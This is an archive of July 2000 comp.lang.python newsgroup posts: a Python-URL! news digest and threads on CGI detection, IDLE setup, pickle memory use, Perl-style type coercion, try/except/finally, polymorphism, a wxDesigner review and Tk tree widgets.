There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From ge at nowhere.none  Wed Jul 26 14:06:29 2000
From: ge at nowhere.none (Grant Edwards)
Date: 26 Jul 2000 13:06:29 -0500
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jul 26)
Message-ID: <F4EE899E4066C635.BE3E022C76D9A3AD.16CEEA764FFF9E25@lp.airnews.net>

    Andrew Kuchling launches an experimental biweekly summary of
    Python-Dev mailing list traffic with a report on the crucial
    events of July 1-15
        http://deja.com/=dnc/getdoc.xp?AN=647837404

    Alex Martelli literately summarizes how to make an object
    act like a sequence
        http://deja.com/=dnc/getdoc.xp?AN=650880554

    Shae Erisson posts a link to gnetstat, a Linux application that
    accesses low-level network info with Python
        http://deja.com/=dnc/getdoc.xp?AN=650496918

    Paul Prescod recruits for a documentation tool project
        http://deja.com/=dnc/getdoc.xp?AN=647947358

    Discussion of new operators for numerical computations continues
        http://deja.com/=dnc/getdoc.xp?AN=648382865

    Peter Schnieder-Kamp polls sentiment on looping over multiple
    sequences
        http://deja.com/=dnc/getdoc.xp?AN=648552485

    Python Enhancement Proposals (PEPs) are now available on the Web
        http://deja.com/=dnc/getdoc.xp?AN=648866455

    Robin Becker announces ReportLab 1.00 release
        http://deja.com/=dnc/getdoc.xp?AN=648636917

    Will Ware annouces ELF file analysis tool
        http://deja.com/=dnc/getdoc.xp?AN=648657536

    Merger of Python and Perl is announced (joke)
        http://deja.com/=dnc/getdoc.xp?AN=648674597

    Cooperation between Tcl and Python encouraged (not a joke)
	http://deja.com/=dnc/viewthread.xp?AN=648818049

    Les Smithson releases Pyxal, an X10 device control API
        http://deja.com/=dnc/getdoc.xp?AN=649149571

    Proposal for attribute access handlers
        http://deja.com/=dnc/getdoc.xp?AN=649357419

    PythonLauncher.exe is a python script launcher
        http://deja.com/=dnc/getdoc.xp?AN=649945564

    Henning Schroeder announces BoboMail 0.4
        http://deja.com/=dnc/getdoc.xp?AN=650207893

    Benyang Tang announces a smart ftp client written in Python
        http://deja.com/=dnc/getdoc.xp?AN=647977749


========================================================================

Everything you want is probably one or two clicks away in these pages:

      Python.org's Python Language Website is the center of Pythonia
          http://www.python.org

      eff-bot's complements this digest with his daily python url
          http://hem.passagen.se/eff/url.htm

      Much of Python's real work takes place on Special-Interest Group
          mailing lists http://www.python.org/sigs/

      Python Consortium emerges as an independent nexus of activity
          http://www.python.org/consortium

      The Vaults of Parnassus ambitiously collects Python resources
          http://www.vex.net/~x/parnassus/   

      Python FAQTS
          http://python.faqts.com/

      Python To-Do List anticipates some of Python's future direction
          http://www.python.org/cgi-bin/todo.py

      Python Journal is at work on its second issue
          http://www.pythonjournal.com

      Links2Go is a new semi-automated link collection; it's impressive
      what AI can generate
          http://www.links2go.com/search?search=python

      Archive probing trick of the trade:
          http://www.dejanews.com/dnquery.xp?QRY=&DBS=2&ST=PS&defaultOp=AND&LNG=ALL&format=threaded&showsort=date&maxhits=100&groups=comp.lang.python


Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://purl.org/thecliff/python/url.html
or
  http://www.dejanews.com/dnquery.xp?QRY=~g%20comp.lang.python%20Python-URL%21


Suggestions/corrections for next week's posting are always welcome.
[http://www.egroups.com/list/python-url-leads/ is hibernating.  Just
e-mail us ideas directly.]

To receive a new issue of this posting in e-mail each Monday morning,
ask <claird at neosoft.com> to subscribe.  Mention "Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From SBrunning at trisystems.co.uk  Thu Jul 20 07:19:20 2000
From: SBrunning at trisystems.co.uk (Simon Brunning)
Date: Thu, 20 Jul 2000 12:19:20 +0100
Subject: zip() : how about braid()
Message-ID: <31575A892FF6D1118F5800600846864D4C7087@intrepid>

>What's the silliest keyword you ever encountered in a programming language?
>I vote for "rof". (short for Rolling-On-Floor, i think in ALGOL68.)

INTERCAL has 'COME FROM', 'PLEASE DO' and 'GIVE UP'. But then it's
*supposed* to be silly.

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk





-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.



From fredp at mygale.org.nospam  Mon Jul 24 05:18:40 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 24 Jul 2000 09:18:40 GMT
Subject: Auto-follow-up : text-mode (but not CLI) apps in Windows console
References: <8F7682C13PaCmAnRDLM@195.25.12.37>
Message-ID: <8F7B7276BPaCmAnRDLM@161.48.76.20>

A quick note to conclude my search : although the Win32 curses port from 
Poland submitted by Radovan Garabik definitely works, it is after all, as 
Grant Edwards pointed out, "still curses" (and probably a simplified one, 
it doesn't seem to do colors for instance).

It turns out that there is (at least) one alternative that was right under 
my nose (on Parnassus) right from the start. What tripped me is that it was 
not under the 'Text UI' section, but with the Windows-specific stuff (as it 
indeed is).

It is the 'Windows Console Driver' by the (very) famous Fredrik Lundh 
(note: URL has changed, is now 
http://w1.132.telia.com/~u13208596/console.htm )

It is a small windows DLL with a tiny, optional Python wrapper module. It's 
about as low-level as the curses wrapper, but of course has a very 
pythonesque feel to it, so is much more natural to use. It also handles 
colors very simply. Lastly, instead of the traditional getch() method, it 
uses a simple event system that gives more keyboard control and allows 
mouse input (it shows that FL is a Tkinter guru :).

It does not seem to be maintained (early 1999) but it does work perfectly 
(at least under Win 9x, FL says there are issued with the NT console, I 
haven't tried). I don't know if anyone has already built any higher-level 
widgets on this (there is a reference to a 'uiToolkit/Text' in the readme, 
but this is another hidden secret :). Anyway, all I really need is a basic 
listbox manager, that shouldn't be to hard to do.

So, to recap : if like me you need a Windows-only, non-GUI console app with 
some full-screen text interface and a bare minimum of additional baggage to 
the standard distribution, Dr Lundh's contribution is probably the easiest 
way in... Thanks to all who have helped me !

FP

-- 
YAFAP : http://www.multimania.com/fredp/


From jhe at webde-ag.de  Thu Jul 27 12:38:12 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Thu, 27 Jul 2000 18:38:12 +0200
Subject: cgi dectection
References: <39804dc7_1@news.chariot.net.au> <39805CC7.DE18566F@rubic.com>
Message-ID: <8lpoe8$1jf$1@pollux.ip-plus.net>

"Jeff Bauer" <jbauer at rubic.com> schrieb im Newsbeitrag
news:39805CC7.DE18566F at rubic.com...
> I usually build test cgi scripts by checking for the
> SERVER_PROTOCOL environment variable, e.g.:

The more obvious and stable check is GATEWAY_INTERFACE = = CGI/1.1





From samschul at pacbell.net  Sun Jul 23 18:05:13 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Sun, 23 Jul 2000 22:05:13 GMT
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com>
Message-ID: <8lfq6o$g07$1@nnrp1.deja.com>

Usually the problem is IDLE can not find the Tk dll's. My solution has
been to copy the Dll's from the Tk\bin directory to the Python\DLL
directory.

Sam Schulenburg

In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
  "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> The Python binary might be in your path, but maybe the libraries
aren't?
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
> "Rodney Loisel" <rloisel at helicon.net> wrote in message
> news:397B0D93.6A5EE7CB at helicon.net...
> > Changed the DOS properties not to close on exit
> > the following is the result of
> > import Tkinter
> > several levels of error
> > last:
> > DLL load failed: one of the library files
> > needed to run this application cannot be
> > found.
> > rloisel
> >
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From dnotspam-jen at personic.com  Sun Jul  2 18:19:29 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Sun, 2 Jul 2000 15:19:29 -0700
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net> <uem5e38if.fsf@ctwd0143.fitlinxx.com>
Message-ID: <395fbcd8$0$5627@wodc7nh0.news.uu.net>

I checked out the link, but from what I read, it sounds like this is a
client-side implementation only.  Is there more info on this somewhere?
Maybe some examples of how to use this?

Thanks!

Jen


"David Bolen" <db3l at fitlinxx.com> wrote in message
news:uem5e38if.fsf at ctwd0143.fitlinxx.com...
> Well, there's probably no end to the number of protocols and methods
> by which you could get the machines to talk, but given that it's
> Python invoking Python, you might take a peek at Fredrik Lundh's
> XML-RPC library.  XML-RPC was sort of the precursor to SOAP.  Similar
> in concept, but it's dirt simple to get two Python processes
> communicating (calling arbitrary methods with any Python objects and
> returning any Python objects).
>
> See http://www.pythonware.com/products/xmlrpc/index.htm.





From moshez at math.huji.ac.il  Sat Jul  1 07:12:07 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 1 Jul 2000 14:12:07 +0300 (IDT)
Subject: Example how to use cgihttpserver
In-Reply-To: <395CBBCA.9A241134@decrc.abb.de>
Message-ID: <Pine.GSO.4.10.10007011410130.17559-100000@sundial>

On Fri, 30 Jun 2000, Peter Mueller wrote:

> Hi,
> 
> is there an example how to use the cgihttpserver in a way that some cgi
> scripts are in /cgi-bin/* (this is simple) and others are coded in the
> program itself. A simple example reading the FieldStorage, generating a
> page ... would me help very much.

The trick is to use (for the hard-coded "cgi" scripts) the cgi module with
non-default parameters: instead of os.environ, use a special dictionary,
and instead of sys.stdin, use self.rfile. You'll have to hack something
up, and I'm not aware of any ready made examples, but this should give 
you enough to go on.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From paulb at infercor.no  Fri Jul 28 04:42:15 2000
From: paulb at infercor.no (Paul Boddie)
Date: Fri, 28 Jul 2000 10:42:15 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <39814767.FFEFE5D0@infercor.no>

Steve Lamb wrote:
> 
> On Fri, 28 Jul 2000 01:24:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
> >Steve, in case it isn't clear yet, Python programmers *want* to be blown out
> >of the water when doing something as senseless as
> 
> >    1 + "foo"
> 
>     It isn't senseless.  That is the whole point.  It is only senseless
> because of typing.  Clearly you cannot add a word to a number, granted.  But
> what of 1 + "1"?  That isn't senseless, those are two numbers.  I can see they
> are two numbers, it is only because of typing that it fails.

Having seen Perl's behaviour in cases like the one Tim quoted, albeit in the
following form...

  1 + $variable

(trying to remember Perl syntax) where $variable is some text which should have
been a number but for various reasons happened to be something like "foo", I
would rather my chosen implementation language did raise an exception than
pretend nothing was wrong.

>     So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
> What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
> together?  If it is a string that cannot be converted to an integer, throw an
> exception, otherwise, do it.  Then that preserves the 1 + "foo" exception and
> also does the sane thing of getting rid of types when it makes sense to do so.

What about 1 + "23"? Is "23" a decimal number or a hexadecimal number or what?

>     Hell, why do an exception at all?  Why not do what is already done with
> integers, reals and floats?
> 
> 1 + 1 = math
> 
> 1 + "1" = math
> 
> 1 + "foo" = string ("1foo")

Doesn't Perl do this last one as well? I refer you to the example I give above -
to have such behaviour permeating one's code is "nasty" to say the least.

> "foo" + "foo" = string ("foofoo")
> 
>     You already accept:
> 
> 1 + 1 = integer
> 
> 1 + 1.2 = float
> 
> 1 + 1j = complex
> 
>     So please don't tell me you don't want "automagic" type changing when it
> is already there and, I'd wager, you use it extensively.

Actually, this kind of thing does irritate some people, but at least one can
claim that such behaviour for numbers is more or less accepted in wider circles,
whereas 1 + "foo" is meaningless to almost everyone except Perl coders.

Regards,

Paul


From olivierS.dagenaisP at canadaA.comM.bbs  Sat Jul 15 18:50:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 15 Jul 2000 22:50:02 GMT
Subject: wxDesigner: Commercial dialog editor for wxWindows and wxPython
Message-ID: <3bQ18Q$m5t@openbazaar.net>

Coming from VB, I decided to give the editor a try.  It's nice, but I
wouldn't pay 70 american dollars for it.  I hope my comments will be
useful...

Great points:
1 - I love the idea of representing the hiearchy of sizers and widgets in a
treeview, especially that you use different icons for the two.  Would be
even better if you used an icon representing the type of widget, and put the
widget name as the node's string value.

2 - Ability to test your dialog.  This is great to make sure it resizes
correctly.

3 - Ability to output to C++, Pyhthon or XML.  Would be even cooler if you
exposed the objects so more persisters could be written (by third parties)

4 - Highlighting the current widget and the widget's parent.  Excellent to
keep track of the relationships.


Not so great points:

5 - The toolbars at the top of the editor are overwhelming (at first) and it
would be very nice to either re-organize/customize them, to dock/undock
sections or to turn them on and off at will.  Maybe giving the toolbars
names, too, would help disambiguate the actions.

6 - Inability to move controls around (drag and drop) after they are placed
on the form (without resorting to cut/paste - which, incidentally, doesn't
work with Ctrl+Insert, Shift+Delete and Shift+Insert, respectively Copy, Cut
and Paste)

7 - No keyboard support, especially the DELETE key not doing anything in
either the treeview or the main editor.

8 - Must use a seperate dialog to change properties of widgets or
containers.  A property grid would be excellent for this.

9 - Right-clicking on nodes of the treeview does nothing.  If suggestion "1"
was implemented, it would be nice to have the same context menu as there is
when right-clicking on the widget itself.

10 - Single document interface makes it hard to do many things at once.
(maybe this is a limitation of wxWindows?)

11 - Unable to select multiple controls (to move them all around, to
cut/copy them all, to delete them all, etc..)

12 - There's no "Proportional" button in the toolbar. (???)

13 - "Empty spaces" only show up blank.  It would be nice if the editor gave
you an indication that you had put an "empty space" on the form, only when
you are editing.

14 - New widgets appear in a weird way.  I'd like to drag a new widget in
the spot I want it to go, instead of deciding ahead of time where it will go
before or after the currently selected widget.  (So, to add a new widget, I
have to first click on an existing one, click either before or after, then
click on the new one.  I usually think of it backwards:  I choose a new
widget then find where to put it.)

15 - Closed source, commercial product.  I would want to help out if it was
open-source.  I would also be willing to pay for the product, if it had the
features I mention above...


It's a promising product.  I'll be happy to test out the next version, as I
really like the hiearchical representation of the relationships and it could
prove very useful in designing large applications.

Good luck!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III



"Robert Roebling" <roebling at ruf.uni-freiburg.de> wrote in message
news:39700FD0.3C368827 at ruf.uni-freiburg.de...
>
>   Hello,
>
> [I am using this list, since the python-announce list is no
>  longer functional.]
>
> I would like to announce wxDesigner 1.0, a commercial program
> that can be used in connection with the free C++ GUI wxWindows
> library and its populare Python bindings called wxPython.
>
> wxDesigner is a dialog editor that allows its users to visually
> create dialogs using a simple point and click interface. The
> output produced by wxDesigner can be either of C++ code, Python
> code or XML, making co-development with wxWindows and wxPython
> much easier than before.
>
> wxDesigner is available for Windows and Linux (Intel and PowerPC),
> more information including pricing is available from:
>
>   http://www.roebling.de
>
> For more information about wxWindows and wxPython, have a look at:
>
>   http://www.wxwindows.org
>   http://www.wxpython.org
>
> Regards,
>
>     Robert Roebling <mailto:roebling at ruf.uni-freiburg.de>
>
> <P><A HREF="http://www.roebling.de">wxDesigner 1.0</A> -
>    Commercial dialog editor for wxWindows and wxPython. (13-July-2000)
>
>


From billtut at microsoft.com  Thu Jul  6 20:55:40 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Thu, 6 Jul 2000 17:55:40 -0700 
Subject: Win32com ADO curiosity #1: MoveNext
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD280@RED-MSG-50>

Because this is Python, and not VB or VBScript.
It's a language syntax thing.

Bill

 -----Original Message-----
From: 	mksql at my-deja.com [mailto:mksql at my-deja.com] 
Sent:	Thursday, July 06, 2000 1:21 PM
To:	python-list at python.org
Subject:	Win32com ADO curiosity #1: MoveNext

In the following code (rs refers to an ADO recordset already created):

    print rs.Fields(1).Value
    rs.MoveNext
    print rs.Fields(1).Value

prints the same record twice, while:

    print rs.Fields(1).Value
    rs.MoveNext()
    print rs.Fields(1).Value

prints 2 records, as expected.

Why does MoveNext require the () ? The ADO object model does not
specify parameters for MoveNext, MoveFirst, etc.


Sent via Deja.com http://www.deja.com/
Before you buy.
-- 
http://www.python.org/mailman/listinfo/python-list



From GustavsB at ch.sibt.com  Tue Jul 18 02:09:51 2000
From: GustavsB at ch.sibt.com (Bruno Gustavs)
Date: Tue, 18 Jul 2000 08:09:51 +0200
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <396EE7BC.DA2FA7B3@darwin.in-berlin.de> <8kmtab$4or$1@pollux.ip-plus.net> <8kmurf$6rf$1@nnrp1.deja.com>
Message-ID: <8l0s89$np4$1@pollux.ip-plus.net>

"John Grayson" <johngrayson at home.com> wrote in message
news:8kmurf$6rf$1 at nnrp1.deja.com...
> Oh, well now I understand!
> You've reached the wrong newsgroup: you want comp.lang.phyton.
> You might get a reponse there! (or not...)

Shame on me! As an old dyslexic I was able to misspell the name of Python
:-( Shame on me!

Bruno Gustavs




From gmcm at hypernet.com  Sat Jul 22 22:16:26 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 23 Jul 2000 02:16:26 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F7974AF5gmcmhypernetcom@199.171.54.194> <3979CE02.D2744B7E@prescod.net> <8F79AAFA3gmcmhypernetcom@199.171.54.154> <397A03A4.68E6CB09@prescod.net>
Message-ID: <8F79E7CF6gmcmhypernetcom@199.171.54.194>

Paul Prescod wrote:

>Gordon McMillan wrote:
>> 
>> Only sometimes. At other times __builtins__ is a dictionary, so
>> 
>> inp = __builtins__.open("...")
>> 
>> would fail, and you'd have to use
>> 
>> inp = __builtins__['open']("....")
>
>Why is __builtins__ a shape-shifter?

Here's a hint:

    	>>> exec('print type(__builtins__)', {},{})
    	<type 'dictionary'>
    	>>> exec('print type(__builtins__)', globals(),locals())
    	<type 'module'>
    	>>>

Similarly, __builtins__ is a module in a script, but it's a dict inside a 
module. Someplace in the docs it says not to use __builtins__ directly 
since it's basically a contrivance to allow controlling the environment in 
which code runs.

-Gordon


From kelley at bioreason.com  Fri Jul 14 06:15:25 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Fri, 14 Jul 2000 11:15:25 +0100
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de> <slrn8mmpq7.he2.jepler.lnk@potty.dsndata.com>
Message-ID: <396EE83D.FB60B033@bioreason.com>

jepler epler wrote:

> On Tue, 11 Jul 2000 13:35:54 +0200, Thomas Thiele
>  <thiele at muc.das-werk.de> wrote:
> >Hallo! I try it again, becouse it is important:
> >
> >Why does this programm (pickle) eats memory?
> >Why does pickle (marshal in it) not freeing the whole memory?
> >
> >And not cPickle eats more memory!
>
>  <snip>

>
> The following code will produce the memory leak without invoking pickle:
>
> def uniquestring(): # the code to generate those unique 5-letter strings
>
> while 1:
>         eval(`uniquestring()`)
>

I don't get that behavior on windowsNT.  If I directly
intern(uniquestring()) then memory gets eaten extremely fast, not on the
order of hours but on the order of minutes.

I'll let eval(`uniquestring()`) run for a while and see what happens.

>
> If you think this sucks, you're probably right.

See how fast memory gets eaten directly with intern() (I'm not saying intern
isn't the culprit though...)

>
>
> Jeff

--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From grey at despair.rpglink.com  Mon Jul 31 04:32:49 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 08:32:49 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com> <PCYg5.2852$6E.754275@ptah.visi.com> <slrn8o9k4e.i9b.grey@teleute.rpglink.com> <slrn8o9nse.a10.nobody@isis.visi.com>
Message-ID: <slrn8oae9a.jca.grey@teleute.rpglink.com>

On Mon, 31 Jul 2000 02:08:14 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>Only if "debone" is a valid operation for the object "peach" and if dial is
>a valid operation for the object "waffle-iron".  You can't state a-priori
>that this is the case.

>In real-life only certain operations are valid for a particular object.

    In real-life you can't make them valid for a certain object, in a
programming language you can which is exactly why trying to magle real-world
limitations upon the constructs of a computer is, well, not exactly the most
ideal thing to do.

>>>I don't understand the analogy.  Pens are not responsible for
>>>parsing English sentances and proofreading them.  They're
>>>responsible for leaving a visible trail when they're dragged
>>>across a paper surface.

>>    Exactly.  

>Huh?

    The pen doesn't toss an exception, neither should the language since they
are both /tools/.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From loewis at informatik.hu-berlin.de  Sun Jul  9 06:12:53 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:12:53 +0200
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no> <slrn8me79q.j9.daniels@localhost.localdomain> <Pine.BOS.4.10.10007091254350.1313-100000@be>
Message-ID: <p6qn1jr4noa.fsf@informatik.hu-berlin.de>

Matthew Schinckel <baron at null.net> writes:

> Yes, but if you want a statement executed regardless of whether there was
> an exception or not, you need to use a finally clause.

That also shows that having try:except:finally is perhaps not a good
idea. Given

try:
  A
except:
  B
finally:
  C

is that the same as

try:
  try:
    A
  finally:
    C
except:
  B

or as

try:
  try:
    A
  except:
    B
finally:
  C

or is it something else? If so, what would it be? And why not one of
the others?

Regards,
Martin



From jriehl at lucent.com  Tue Jul 25 00:17:30 2000
From: jriehl at lucent.com (Jon Riehl)
Date: Mon, 24 Jul 2000 23:17:30 -0500
Subject: Parser project
References: <397361C5.1D401DF2@prescod.net>
Message-ID: <397D14DA.CCDE8AA0@lucent.com>

Paul Prescod wrote:
> 
> Here is a project for a parser hacker:
> 
> Write a Python module that can read a grammar in the syntax that Python
> uses (see Grammar/Grammar in the source distribution) and generate a
> parser object without any special compilation stage:
> 

Some of this stuff fits under the scope of the Basil project.
See the following URL's:

http://www.wildideas.org/basil/
http://sourceforge.net/projects/basil/
http://c2.com/cgi/wiki?BasilProject

I have every intention of building a pgen integration for building
parsers from pgen specs.  However, the current CVS code only has
a parser for Bison grammars.  Parse trees would be dumped in either
an AST pickle format or XML (I need to whip my current C++ integration
into shape in order to illustrate the utility already hidden in Basil.)
A back end would then need to be developed to translate any other
language into a Python code object.

Via con GRAD,
-Jon



From pduffin at hursley.ibm.com  Fri Jul 28 05:56:29 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Fri, 28 Jul 2000 10:56:29 +0100
Subject: polymorphism  (was  Re: Type checking in python?)
References: <8lmo4i$s28$1@news.kth.se> <8lor06$hof$1@news.kth.se>
Message-ID: <398158CD.9ED1D20E@hursley.ibm.com>

Oivvio Polite wrote:
> 
> After all this I still don't get the difference between polymorphism and
> overloading. I've just ordered a book on OO design. So maybe that
> distinction will become clearer to me, then again, maybe it won't :)
> 

An overloaded function is a function whose behaviour is dependent on the
type of information you give it. The types of information that the function
supports is limited by the implementation of the function.

A polymorphic function is a function whose behaviour is independent of the
type of information you give it. The types of information that the function
supports is limited to those types which support the set of operations that
the function requires.


From ge at nowhere.none  Thu Jul 20 13:24:59 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 20 Jul 2000 17:24:59 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com>
Message-ID: <LBGd5.1837$6E.377728@ptah.visi.com>

In article <8l76hm$pm9$1 at nnrp1.deja.com>, david_ullrich at my-deja.com wrote:

>   You can use the notation [2,3] to accomplish the same
>thing: it appears that if you use multiple indices they
>get passed as a tuple to __getitem__:

You're not using multiple indices.  

You're using a single index whose value is the expression 2,3.
The expression 2,3 evaluates to a tuple, which is passed to
_getitem__, just as would the value of any other expression
used as an index.

-- 
Grant Edwards                   grante             Yow!  My Aunt MAUREEN was
                                  at               a military advisor to IKE &
                               visi.com            TINA TURNER!!


From sblakey at freei.com  Wed Jul 26 14:28:48 2000
From: sblakey at freei.com (Sean Blakey)
Date: Wed, 26 Jul 2000 11:28:48 -0700
Subject: polymorphism  (was  Re: Type checking in python?)
In-Reply-To: <8lmo4i$s28$1@news.kth.se>; from oivvio@cajal.mbb.ki.se on Wed, Jul 26, 2000 at 03:14:01PM +0200
References: <8lmo4i$s28$1@news.kth.se>
Message-ID: <20000726112848.A1101@freei.com>

On Wed, Jul 26, 2000 at 03:14:01PM +0200, Oivvio Polite wrote:
> Hi all.
> 
> I'm building a class with a uniform interface and I'm trying to come to
> terms with polymorphism in python.
> 
> For instance I want the constructor to take either a filename, a file object
> or a database connection object.
> In C++ this would be done using three different constructors. (I'm not quite
> sure about this, cause I don't know C++ :-)
> But how should one do it in python.
> 
> My first idea was something like this:
> 
> class myclass:
>     def __init__:(self, arg):
>         if type(arg) == types.StringType:
>             #check if that's a filename and do the right initialization.
>         elif type(arg) == types.FileType:
>             #do the initialization in an other way
>         # and so on
> 

In my experience, using the type() builtin is more pain than it's worth.
I like the scheme proposed by Alex Martelli, except that I would have
used

    def __init__(filename='', fileobject=None, dbconn=None):

instead (personal style I guess.  I like to keep strings as strings,
even if they are "false" strings).

The critical point is that in Python, polymorphism depends solely on the
interface provided, not on any "is-a" relationships.  Instead of
insisting that your argument must be a string (for example), your code
should work with any object that exposes the interfaces you need
(strings, unicode strings, perhaps even a custom class created by
somebody to emulate Java's StringBuffer, etc.).  Similarly, you don't
need to verify that your argument is a file, only that it has a read()
method (or whatever method you use).

Alternately, to keep closer to the style of your original:

class myclass:
    def __init__(self, arg):
        try:
            if os.path.isfile(arg):
                # Do proper string initialization here
        except TypeError: #not a string
            try:
                data = arg.read()
                # File intialization
            except (AttributeError, TypeError):     #Not a file
                # DB Connection initialization



-- 
Sean Blakey, sblakey at freei.com
Software Developer, FreeInternet.com
(253)796-6500x1025
Computers are unreliable, but humans are even more unreliable.
Any system which depends on human reliability is unreliable.
		-- Gilb



From paul at prescod.net  Wed Jul 19 12:07:01 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:07:01 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <3974C185.E39E082E@prescod.net> <fc5d5.1589$6E.308551@ptah.visi.com>
Message-ID: <3975D225.DB8FCDFD@prescod.net>

Eric Hopper wrote:
> 
>...
> 
> OK, genericity.  I call generic programming 'inheritance for the lazy'.

But it has nothing to do with inheritance!

> Of the modern languages, the one I can think of right offhand is Java.
> And that's something I actually like about it.

Java does not require inheritance to do genericity either. Java does
require you to pre-declare your interfaces, but you "implement" an
interface. You do not inherit from it. That's just terminology, though.

>         So, what class do you need to define a read method for?  Where did that
> object get passed in?  What if the read method is only called in some odd
> circumstance that manages to excape anyone's notice for years?

If you want to check that the read method is defined, you can do that at
method boundaries. You don't need to enforce an inheritance hierarchy.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From NoSpam at NoSpam.com  Tue Jul 11 12:00:25 2000
From: NoSpam at NoSpam.com (Tom)
Date: Tue, 11 Jul 2000 16:00:25 GMT
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com> <XExa5.10600$_O.178276@news2-win.server.ntlworld.com>
Message-ID: <twHa5.152274$7o1.3771648@news2.rdc1.on.home.com>

Ok, I found TreeWidget.  I was looking at the current (v1.5.2) source code,
it is in the 1.6 alpha code.

Tom.


"richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote in message
news:XExa5.10600$_O.178276 at news2-win.server.ntlworld.com...
> Hi Tom,
>
> If you look in your python directory under tools you should see idle, in
> there is TreeWidget.py.
>
> It would be no problem getting Tkinter to do what you want but it would
take
> a bit of effort on your part.
>
> Richard
> Tom <tom-main at REMOVEME.home.com> wrote in message
> news:SMta5.147482$7o1.3697839 at news2.rdc1.on.home.com...
> >
> > Is there a tree widget for wxPython or TKinter that support setting the
> text
> > color (foreground or background) for each node?
> >
> > Ideally it could also be updated dynamically.
> >
> > I heard that there is a good tree widget in IDLE, called TreeWidget, but
I
